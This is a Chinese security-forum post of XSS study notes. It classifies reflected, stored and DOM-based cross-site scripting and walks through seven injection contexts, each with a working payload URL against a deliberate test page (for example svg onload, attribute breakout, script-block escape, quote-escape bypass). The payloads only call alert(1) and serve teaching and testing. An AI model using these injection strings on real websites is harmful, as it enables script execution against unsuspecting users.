安全矩阵

 找回密码
 立即注册
搜索
查看: 432|回复: 0

你所不知道的xss​

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-1-23 23:02:37 | 显示全部楼层 |阅读模式
你所不知道的xss (qq.com)


你所不知道的xss
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言主要是复习xss的时候的一些记录(笔记),包含若干总结
xss的类型Web 服务器发送的代码这里称之为源代码(source code), 它由浏览器处理,在 JavaScript 引擎的帮助下,以编程的方式创建文档的元素。这称为 DOM(文档对象模型),它会在源代码到达后立即生成。
在应用程序的上下文中(脱离上下文的应用程序非常罕见,这里不讨论),我们将xss分为两大类:
基于源代码和基于 DOM 的 XSS 类型(XSS 可能是由服务器端代码(Web 服务器发送的代码)或客户端代码(浏览器从 Web 服务器发送的代码处理后的代码)引起的。):
Source-based: Reflected Stored
DOM-based: Reflected Stored
xss中七种常见的场景1. URL Reflection当 URL 以某种方式反映在源代码中时,我们可以向其添加我们自己的 XSS 有效负载, 对于 PHP 页面,可以使用斜杠字符 (/) 在页面名称后的 URL 中添加任何内容
http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>
使用 >来断开当前标签
<form action="/xss.php/"><svg onload=alert(1)>" method="POST">
2.HTML injection这是最直接的方法,输入恰到好处地反映在现有标签之间的代码中,在它们之后或之前。无需转义或破坏任何东西,类似<tag handler=jsCode>形式的向量都可以.
http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
<h1>xss test</h1>hello, <svg onload=alert(1)>!<br>
3.Inline HTMLi几乎和前一个一样简单,但是需要“>”来闭合当前标签。
http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>
<input type="text" name="b1" value=""><svg onload=alert(1)>">
4.Inline HTMLi(没有闭合标签)当输入位于 HTML 属性中并且过滤字符 (>) 时,不可能像前一种情况那样跳出当前标签。
<input type="text" name="b3" value=""&gt;<svg onload=alert(1)&gt;">
&gt; 就表示>
使用适合我们注入的标签的事件处理程序,例如:
http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//
注意:alert(1) 后跟双斜杠以注释掉挂起的引号
<input type="text" name="b3" value="" onmouseover=alert(1)//">
5. HTMLi in Js (Javascript) Block输入有时会进入 javascript 块(脚本标签),通常在代码的某些变量中。但是因为 HTML 标签在浏览器的解析中具有优先权,我们可以简单地终止块并插入一个新标签。
http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
<script>  var var1 = '</script><svg onload=alert(1)>';</script>
6.JS注入如果脚本标签以某种方式被过滤,之前的利用将失败。
  var var1 = '><svg onload=alert(1)>';
将易受攻击变量的值“连接”到我们想要执行的代码
http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘
看下面:
  var var3 = ''-alert(1)-'';
7.转义Js注入在前面的例子中,如果引号(负责中断变量值)用反斜杠 () 转义,注入将不起作用(无效语法)。
插入一个前导字符来转义添加的反斜杠, 在“串联”到我们想要的js代码之后,我们需要注释掉剩下的部分
http://brutelogic.com.br/xss.php?c5=\’-alert(1)//
  var var5 = '\\'-alert(1)-//';

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 12:43 , Processed in 0.016506 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表